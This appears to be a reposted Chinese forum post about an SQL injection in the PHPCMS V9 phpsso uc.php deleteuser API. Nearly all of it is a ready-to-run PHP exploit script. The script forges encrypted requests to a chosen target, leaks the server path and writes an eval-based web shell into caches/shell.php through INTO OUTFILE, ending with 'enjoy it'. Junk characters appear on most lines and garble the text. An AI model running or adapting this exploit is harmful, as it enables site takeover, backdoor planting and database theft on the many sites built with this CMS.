PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。: g6 o. e8 ^9 }, D/ B) b# S: y
8 b& Y" t5 p% d) o* w3 A% w- W, a
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
L5 A" o1 r. D$ ?# S5 L! f* I% Q# D1 U5 c! s8 r4 }
漏洞分析:9 E' C) [ Y9 v" p# v; J
1.未启用ucenter服务的情况下uc_key为空
1 @- y! C5 L6 v5 b+ Ydefine('UC_KEY', pc_base::load_config('system', 'uc_key'));$ u" V7 {5 g, w2 d3 c3 J/ u7 m/ _
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
7 i6 e; t3 u7 \% x8 ~! B; l) `" A public function deleteuser($get,$post) {0 Q9 d" Q1 H! h* @, | b( E" t
pc_base::load_app_func('global', 'admin');
* S+ L* `+ M9 O3 i \9 R% P% l pc_base::load_app_class('messagequeue', 'admin' , 0);: y) U8 {/ m `; i; Z6 m& c- t
$ids = new_stripslashes($get['ids']);
5 y" g+ E6 y' L" C2 ?7 @$ p/ f $s = $this->member_db->select("ucuserid in ($ids)", "uid");
. x& e! m h3 ]1 i2 gSQL语句为- C+ b- G9 F) q- i: _) y
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
- p5 E- N& i( b6 s, c. Z
3 r" V2 U0 |0 G4 d. O利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell9 g6 _; C6 o8 z+ r6 W8 C
<?php
$ h5 h+ Z4 a$ y6 v' S4 Fprint_r(': _/ u9 [* H1 F( p# x, d9 @8 |/ o
---------------------------------------------------------------------------
- v! e/ u Y$ qPHPcms (v9 or Old Version) uc api sql injection 0day& C& C% |) {: ]; @, i, r$ O" q4 _
by rayh4c#80sec.com
: F/ u! |/ {, r& |# v, M---------------------------------------------------------------------------
& F$ w. r% G) v! A( a m');$ h! h" U' ~% J
5 Z/ P+ ^0 n( {" M1 d0 f; L
if ($argc<3) {2 `9 {0 C! d) A, R
print_r('
( w0 E7 e' Q" A5 k$ f---------------------------------------------------------------------------
* I% `) T: j# x z! G1 X/ yUsage: php '.$argv[0].' host path OPTIONS4 B( F( i' M+ B+ A# t3 \. r8 `+ {
host: target server (ip/hostname): D- \) t: X) H/ Z
path: path to phpcms* Y8 k0 ^$ l W3 g4 w& D
Options:% W* T; {1 T* Z! v! L' P
-p[port]: specify a port other than 80
8 X1 y6 F2 O0 h' ?) ~ -P[ip:port]: specify a proxy1 i5 k6 C0 ^& ]0 K$ b2 @+ a
Example:
, Z! ]! z4 L9 d( X5 Ophp '.$argv[0].' localhost /5 w' \$ R4 o# H7 e- ?- n. s
php '.$argv[0].' localhost /phpcms/ -p81
L# Z+ w4 z& D) Sphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80/ m# `3 c+ p( r9 p% A" b( _
---------------------------------------------------------------------------% q) n4 x' S# I
');
; Q4 T$ }) j3 d: V' U die;
4 U! f: c9 Y0 r# B! d) U}
1 K8 T# @8 N; M7 D' h0 q2 G
7 J5 F( z' m9 U1 [6 ]$ terror_reporting(7);1 _" Y) B i$ Q Q' o6 o
ini_set("max_execution_time",0);! f6 ?, L' I" [1 O0 k, S* h! X2 p
ini_set("default_socket_timeout",5);
' C: W- {8 c( @4 F& V, M6 T3 p$ s* \, E6 D5 G
function quick_dump($string)
) h( p, ]( P$ z0 k) r) V{# U3 M9 f) o+ R7 ]) D4 C; H
$result='';$exa='';$cont=0;
3 R8 ?; t% O. w' a# w; g for ($i=0; $i<=strlen($string)-1; $i++)
+ r7 o4 ~6 ?. k. y {/ r9 L0 m& O2 O, i
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )), N/ J- ~3 s& T9 W, |- L
{$result.=" .";}1 H& z9 d: j1 O4 y; H
else
# z+ I# i6 b( y) G {$result.=" ".$string[$i];}
' O9 ^ ]! f2 D if (strlen(dechex(ord($string[$i])))==2)6 J6 _# X1 c: c7 _& x8 q$ ~
{$exa.=" ".dechex(ord($string[$i]));}, P% B7 m" _- Y# q
else
8 B& \8 }* x6 f/ S {$exa.=" 0".dechex(ord($string[$i]));}8 F9 f; ?* f* H% ]$ @0 C4 \
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
) Z! }& _6 V( W }
6 x" t& }+ I1 o0 V* T return $exa."\r\n".$result;8 h2 h* g# C8 D8 F: d6 ^
}
, p! U& \* L6 Z9 A' P2 D$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';) H$ @5 }, l0 T4 R
1 X7 }( n- ]4 R% ^- M, E/ l' Afunction send($packet)8 g+ ?$ ^3 _; c
{
) z' U/ G8 y6 E; n5 B" W: } global $proxy, $host, $port, $html, $proxy_regex;
9 k+ f+ n8 [4 ?5 b2 ~ if ($proxy=='') {. c* L. W, F/ x( G+ }
$ock=fsockopen(gethostbyname($host),$port);* u, A. g l1 Q4 n( N2 ^$ t
if (!$ock) {
! X+ ~: }7 y8 h# |# W0 B echo 'No response from '.$host.':'.$port; die;
9 w. i9 C& d6 i$ K4 H4 G& t }: D& s, e" G$ l
}
6 y! R! ~ u! O9 L ]# i* [ else {
8 x# |! J7 b) a L" U6 J, P+ V $c = preg_match($proxy_regex,$proxy);, N6 `9 z D6 K w! D8 D
if (!$c) {
: W$ V1 D5 f5 G& x- r echo 'Not a valid proxy...';die;
# _6 s+ Z$ W. V/ v6 c }% a I, Z8 |& s% Z6 c! ~
$parts=explode(':',$proxy);7 f* e ?" b, M' h
$parts[1]=(int)$parts[1];' u3 g ?- n+ W- J
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
. |: l" g; y* X3 w/ b $ock=fsockopen($parts[0],$parts[1]);
x& v$ w5 \7 k; u4 o if (!$ock) {1 ~" x; {; _$ z- R, g
echo 'No response from proxy...';die;. y1 c. x& @+ e' J; c, `5 A* ]
}; H/ I$ @ X3 m) P+ o4 y5 x
}
! Y0 U2 S5 @: Y fputs($ock,$packet);
7 K. Y! G% j: o4 [6 G) L+ d if ($proxy=='') {$ R X5 M) z+ m# v* E
$html='';! M3 m) x' o ^% ?2 Q) h8 c
while (!feof($ock)) {
( i5 |; Q+ Y# ^4 A- X $html.=fgets($ock);9 @/ p |" i n+ U( H- ~/ ?
}& s6 p" @5 u( ^" u) `
}& C5 d3 u- M7 f
else {. Z9 a: N+ b7 q. N; D0 n
$html='';! N5 q- t$ u& `$ o) T7 Q. c5 U6 z
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {; W, x1 r7 i( |* ~$ a+ s
$html.=fread($ock,1);- N( p7 |- Q3 D: `6 X3 a- y
}
$ ~1 I: }" C- k# s7 X }/ B8 \/ c$ I, g# v z' Y" p' y- k6 f
fclose($ock);
1 _ K' R0 j+ o- d6 Z+ a}$ Z0 b* Y* W4 \% ~0 ?& j8 n6 v6 e$ \
% M+ S; t/ Z, z. u. \0 X/ }" X" x$host=$argv[1];0 t' {1 Y: z+ C( R" n
$path=$argv[2];; u9 g5 g `3 o( u0 X9 b9 s" g5 h
$port=80;4 A, a6 w& e$ |* I* Y: _
$proxy="";/ `+ W; s9 A* f1 {
for ($i=3; $i<$argc; $i++){
2 Q7 x3 H" o% j9 M. z$ [9 x: P$temp=$argv[$i][0].$argv[$i][1];$ U- Y7 R+ }7 M7 P9 m1 x
if ($temp=="-p")
* d/ D& w% { ]/ ^- o{
$ e- P, `( `4 S. [- ~8 ` $port=(int)str_replace("-p","",$argv[$i]);2 D: D0 R1 R& j1 \
}
7 I0 j9 E8 h" w6 A w' g5 x1 dif ($temp=="-P")
: k: d: M' _3 E' a{
9 Y4 U/ \# T& S7 a8 x6 [ $proxy=str_replace("-P","",$argv[$i]);3 `2 E, v1 R( j3 u7 S, X
}' h6 j0 s4 k5 E
}9 [" f. W t, v. H) d
4 }. o" H' l# S: R, L
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}7 H2 {6 t% W' q1 S+ W
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
( ]- n8 C) u; j! `& i" @: f% S+ b
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
: _/ D4 @6 f, n& m( ~
: k7 P+ j. W9 [ _3 f6 f $ckey_length = 4;
8 S* ? v% ?. X$ t' C
4 ]4 I* J7 L7 S1 J' ?2 l+ Q. p# L $key = md5($key ? $key : '');
1 x- t" F G8 ]2 Q $keya = md5(substr($key, 0, 16));& p3 c# }* ?* `
$keyb = md5(substr($key, 16, 16));" A0 ]9 X' C: a( {8 z X) y# m/ ^9 {
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
' ]' ]9 [2 X' k0 u" s. U0 K% N3 a( m0 Y% k0 M. D" H
$cryptkey = $keya.md5($keya.$keyc);$ v! Y- v" A: E3 t% E2 M. |8 I
$key_length = strlen($cryptkey);
, z3 }$ L5 R: r& k9 l& T, b: K
: t+ r6 J) T( ~; ?9 S$ k% b $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;, i& ^' V/ i5 c( K
$string_length = strlen($string);
& H& z. k* }4 T! j
( z# L8 z2 \" L# v V( E M2 V $result = '';
* g7 v, p: I2 Y, w) v, ] $box = range(0, 255);7 b. g1 P$ n- @7 I+ b( V
: j% S. y% W2 ?4 }! S. k* y( E, j0 [
$rndkey = array();
2 w) R9 Z4 S% f* \' n for($i = 0; $i <= 255; $i++) {- D' S$ T( a) U5 A; U, w% E- ~
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
' f/ A6 E$ n {9 H* O: g }* {) f+ p& h- j- J- i4 f# ]1 ?
3 k3 c4 [) x* @8 Q' N2 ?7 T
for($j = $i = 0; $i < 256; $i++) {
7 {8 z5 g+ N2 [3 Y- T6 K $j = ($j + $box[$i] + $rndkey[$i]) % 256;
" G! ~/ X; m6 n7 L. B $tmp = $box[$i];
8 J# s: |3 r# M d $box[$i] = $box[$j];! \2 D! J& `1 I3 F- u
$box[$j] = $tmp;
4 P6 k+ s$ g1 \ }5 H9 Y. V& M5 q" o; Z3 O
' ?- ]0 | D3 y4 I' i
for($a = $j = $i = 0; $i < $string_length; $i++) {
/ U- U( O5 G4 z# c ^7 w $a = ($a + 1) % 256;3 l. X# B# m' S# c# d0 K
$j = ($j + $box[$a]) % 256;5 \+ i# |1 u+ K& X( L! N$ Y
$tmp = $box[$a];
- f/ N3 x4 j4 C0 o $box[$a] = $box[$j];
$ b7 |, w. O7 ^4 } $box[$j] = $tmp;
7 N0 i% t) ?( Z" ~# E' { $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
) U) z6 f3 a3 Y# \8 G2 P }
0 ?# W4 E! v: z* H+ E
]' H! A& `) J1 h4 S5 N if($operation == 'DECODE') {' Q: k* F, H0 m/ v% i
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {% W6 v& M4 o. S
return substr($result, 26); {8 V7 v3 e9 z/ B2 O
} else {
3 y, O1 I! H* ~: i) B return '';
+ u! g) @: w, g" ?1 i' e }; M' C5 l7 p+ T
} else {
3 ~5 { {7 ?) L return $keyc.str_replace('=', '', base64_encode($result));
+ v# K8 P" E" x8 z, M5 e9 ^ }
8 u2 y, q! g2 i+ f, m( q$ `9 C) S) b" ?$ t
}
; I, }( |# T" n5 ]! C- I7 _0 [% i( Z9 n$ b: o4 K
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";1 ]1 D' [) D' H: e
$SQL = urlencode(authcode($SQL, "ENCODE", ""));1 Z6 t5 Y" m$ E8 }6 |
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";0 q5 I6 H" o, X( u8 }4 c2 O
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
/ [7 v ~+ ~. {+ _/ \% k; y- s$packet.="User-Agent: Mozilla/5.0\r\n";
& g/ X6 D4 O; _1 N) q/ k$packet.="Host: ".$host."\r\n";
6 N1 C( m/ {9 T! m4 [$packet.="Connection: Close\r\n\r\n";
$ i( U, U/ k, d) e S! ~; X2 k7 ?; Csend($packet);& K2 E5 @4 S) k I; I8 z: Y% ]
if(strpos($html,"MySQL Errno") > 0){
$ e& w* {7 H% x1 [9 P# v. Y0 @$ Techo "[2] 发现存在SQL注入漏洞"."\n";! T( j& \( ?, t" K/ Q2 B/ m* ^
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";% u9 x% v" H& r+ A) D2 a U
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";5 W& e" ?0 Y2 _* ^: z
$packet.="User-Agent: Mozilla/5.0\r\n";2 X% ~7 v0 |; B1 y3 o
$packet.="Host: ".$host."\r\n";
, }: E- K: z7 ?& y# D$packet.="Connection: Close\r\n\r\n";
) r2 R ~ T7 }8 r: y3 Dsend($packet);& F0 \4 Z. D2 h0 M9 I% ~/ Y
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
0 e& X1 V+ I" r6 o# R- X8 |//print_r($matches);0 @! f* K: Y& h3 U, p8 t
if(!empty($matches)){ L d6 I9 g$ X% m" M( s
echo "[4] 得到web路径 " . $matches[0]."\n";7 W8 Z# O% {" E4 m! N2 c& K6 O+ _
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
9 |0 }+ B9 J, h, N9 M$SQL = "time=999999999999999999999999&ids=1)";9 a3 ?1 I( B# R4 E
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
) i5 e6 p4 C4 w+ y) T4 z+ R, x$SQL.="&action=deleteuser";
. i' E9 p) B& _3 l) e. `$SQL = urlencode(authcode($SQL, "ENCODE", ""));
7 K0 L3 Q2 M7 a( J; hecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
; p" ]" N5 H; g9 z) p3 C5 M. ]$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";+ p, [8 n& p9 D. U/ i
$packet.="User-Agent: Mozilla/5.0\r\n";% y8 k6 U- ~7 x+ q0 d4 H
$packet.="Host: ".$host."\r\n";$ ?" F @0 x, L! N+ @; n; W
$packet.="Connection: Close\r\n\r\n";
2 h. A y+ f- `7 f! Bsend($packet);6 j* M3 S( ~# [, P
if(strpos($html,"Access denied") > 0){ Y# f2 G4 ?& x8 k# J! ~6 f
echo "[-] MYSQL权限过低 禁止写入文件 ";
' O8 l$ \% a5 W/ r* P" U( vdie; a' b/ j* [* l3 N9 E7 N- Y8 K
}
" y3 Y9 Y& A7 l: e. B5 iecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
2 s+ d; `! |+ P- ^5 x1 t$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
/ d, Q+ H- @* I/ V4 l4 n9 ` M& o8 p$packet.="User-Agent: Mozilla/5.0\r\n";* Z, E- r# o% h; [% `
$packet.="Host: ".$host."\r\n";
# q! q2 E6 `. y: V) s M$packet.="Connection: Close\r\n\r\n";
: l; p/ D8 f+ J# |5 J& M7 nsend($packet);
, l/ B' s4 } ]4 f& W% p. s; xif(strpos($html,"<title>phpinfo()</title>") > 0){
! ~( y L; t @4 y9 Y) K1 [! necho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";2 L N5 X8 v8 [. k7 Q
}$ e4 u. z8 h* n
}else{: V$ h% k6 h! |
echo "[-]未取到web路径 ";
- ]4 A4 Z, V' k- P}
1 J0 o8 n6 W. f$ D, j v- G}else{5 E1 y. n% A$ ~" t$ t5 b2 H* ~! v, h- O9 ]
echo "[*]不存在SQL注入漏洞"."\n";
4 M6 I1 W$ L' N2 q* u. l i1 P}
2 P; G7 J- \, ?0 D. `7 o. k* ^- D; z2 ~6 l+ r! s, m% J5 Y n' O0 Z5 G" k9 q
?>
. O0 ~ @* \* Q |